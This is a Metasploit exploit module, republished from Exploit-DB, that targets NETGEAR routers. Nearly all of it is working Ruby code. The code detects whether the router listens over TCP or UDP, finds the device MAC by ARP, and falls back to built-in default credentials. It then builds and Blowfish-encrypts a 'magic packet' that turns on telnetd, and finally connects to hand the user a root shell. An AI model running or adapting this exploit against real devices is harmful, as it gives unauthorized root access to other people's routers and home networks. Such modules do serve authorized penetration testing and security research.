Netgear – ‘TelnetEnable’ Magic Packet (Metasploit)

  • 作者: Metasploit
    日期: 2018-03-05
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/44245/
  • ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
    
    Rank = ExcellentRanking
    
    include Msf::Exploit::Remote::Udp
    include Msf::Exploit::Remote::Tcp
    include Msf::Exploit::Capture
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'NETGEAR TelnetEnable',
    'Description'=> %q{
    This module sends a magic packet to a NETGEAR device to enable telnetd.
    Upon successful connect, a root shell should be presented to the user.
    },
    'Author' => [
    'Paul Gebheim', # Python PoC (TCP)
    'insanid',# Python PoC (UDP)
    'wvu',# Metasploit module
    ],
    'References' => [
    ['URL', 'https://wiki.openwrt.org/toh/netgear/telnet.console'],
    ['URL', 'https://github.com/cyanitol/netgear-telenetenable'],
    ['URL', 'https://github.com/insanid/netgear-telenetenable']
    ],
    'DisclosureDate' => 'Oct 30 2009', # Python PoC (TCP)
    'License'=> MSF_LICENSE,
    'Platform' => 'unix',
    'Arch' => ARCH_CMD,
    'Privileged' => true,
    'Payload'=> {
    'Compat' => {
    'PayloadType'=> 'cmd_interact',
    'ConnectionType' => 'find'
    }
    },
    'Targets'=> [
    ['Automatic (detect TCP or UDP)',
    proto::auto
    ],
    ['TCP (typically older devices)',
    proto::tcp,
    username: 'Gearguy',
    password: 'Geardog'
    ],
    ['UDP (typically newer devices)',
    proto::udp,
    username: 'admin',
    password: 'password'
    ]
    ],
    'DefaultTarget'=> 0
    ))
    
    register_options([
    Opt::RPORT(23),
    OptString.new('MAC',[false, 'MAC address of device']),
    OptString.new('USERNAME', [false, 'Username on device']),
    OptString.new('PASSWORD', [false, 'Password on device'])
    ])
    end
    
    def check
    # Run through protocol detection
    detect_proto
    
    # This is a gamble, but it's the closest we can get
    if @proto == :tcp
    CheckCode::Detected
    else
    CheckCode::Unknown
    end
    end
    
    def exploit
    # Try to do the exploit unless telnetd is detected
    @do_exploit = true
    
    # Detect TCP or UDP and presence of telnetd
    @proto = target[:proto]
    detect_proto if @proto == :auto
    
    # Use supplied or ARP-cached MAC address
    configure_mac if @do_exploit
    
    # Use supplied or default creds
    configure_creds if @do_exploit
    
    # Shell it
    exploit_telnetenabled if @do_exploit
    connect_telnetd
    end
    
    def detect_proto
    begin
    connect
    
    res = begin
    sock.get_once || ''
    rescue EOFError
    ''
    end
    
    # telnetenabled returns no data, unlike telnetd
    if res.length == 0
    print_good('Detected telnetenabled on TCP')
    else
    print_good('Detected telnetd on TCP')
    @do_exploit = false
    end
    
    @proto = :tcp
    # It's UDP... and we may not get an ICMP error...
    rescue Rex::ConnectionError
    print_good('Detected telnetenabled on UDP')
    @proto = :udp
    ensure
    disconnect
    end
    end
    
    def configure_mac
    @mac = datastore['MAC']
    
    return if @mac
    
    print_status('Attempting to discover MAC address via ARP')
    
    begin
    open_pcap
    @mac = lookup_eth(rhost).first
    rescue RuntimeError
    fail_with(Failure::BadConfig, 'Superuser access required')
    ensure
    close_pcap
    end
    
    if @mac
    print_good("Found MAC address #{@mac}")
    else
    fail_with(Failure::Unknown, 'Could not find MAC address')
    end
    end
    
    def configure_creds
    @username = datastore['USERNAME'] || target[:username]
    @password = datastore['PASSWORD'] || target[:password]
    
    # Try to use default creds if no creds were found
    unless @username && @password
    tgt = targets.find { |t| t[:proto] == @proto }
    @username = tgt[:username]
    @password = tgt[:password]
    end
    
    print_good("Using creds #{@username}:#{@password}")
    end
    
    def exploit_telnetenabled
    print_status('Generating magic packet')
    payload = magic_packet(@mac, @username, @password)
    
    begin
    print_status("Connecting to telnetenabled via #{@proto.upcase}")
    @proto == :tcp ? connect : connect_udp
    print_status('Sending magic packet')
    @proto == :tcp ? sock.put(payload) : udp_sock.put(payload)
    rescue Rex::ConnectionError
    fail_with(Failure::Disconnected, 'Something happened mid-connection!')
    ensure
    print_status('Disconnecting from telnetenabled')
    @proto == :tcp ? disconnect : disconnect_udp
    end
    
    # Wait a couple seconds for telnetd to come up
    print_status('Waiting for telnetd')
    sleep(2)
    end
    
    def connect_telnetd
    print_status('Connecting to telnetd')
    connect
    handler(sock)
    end
    
    # NOTE: This is almost a verbatim copy of the Python PoC
    def magic_packet(mac, username, password)
    mac = mac.gsub(/[:-]/, '').upcase
    
    if mac.length != 12
    fail_with(Failure::BadConfig, 'MAC must be 12 bytes without : or -')
    end
    just_mac = mac.ljust(0x10, "\x00")
    
    if username.length > 0x10
    fail_with(Failure::BadConfig, 'USERNAME must be <= 16 bytes')
    end
    just_username = username.ljust(0x10, "\x00")
    
    if @proto == :tcp
    if password.length > 0x10
    fail_with(Failure::BadConfig, 'PASSWORD must be <= 16 bytes')
    end
    just_password = password.ljust(0x10, "\x00")
    elsif @proto == :udp
    # Thanks to Roberto Frenna for the reserved field analysis
    if password.length > 0x21
    fail_with(Failure::BadConfig, 'PASSWORD must be <= 33 bytes')
    end
    just_password = password.ljust(0x21, "\x00")
    end
    
    cleartext = (just_mac + just_username + just_password).ljust(0x70, "\x00")
    md5_key = Rex::Text.md5_raw(cleartext)
    
    payload = byte_swap((md5_key + cleartext).ljust(0x80, "\x00"))
    
    secret_key = 'AMBIT_TELNET_ENABLE+' + password
    
    byte_swap(blowfish_encrypt(secret_key, payload))
    end
    
    def blowfish_encrypt(secret_key, payload)
    cipher = OpenSSL::Cipher.new('bf-ecb').encrypt
    
    cipher.padding = 0
    cipher.key_len = secret_key.length
    cipher.key = secret_key
    
    cipher.update(payload) + cipher.final
    end
    
    def byte_swap(data)
    data.unpack('N*').pack('V*')
    end
    
    end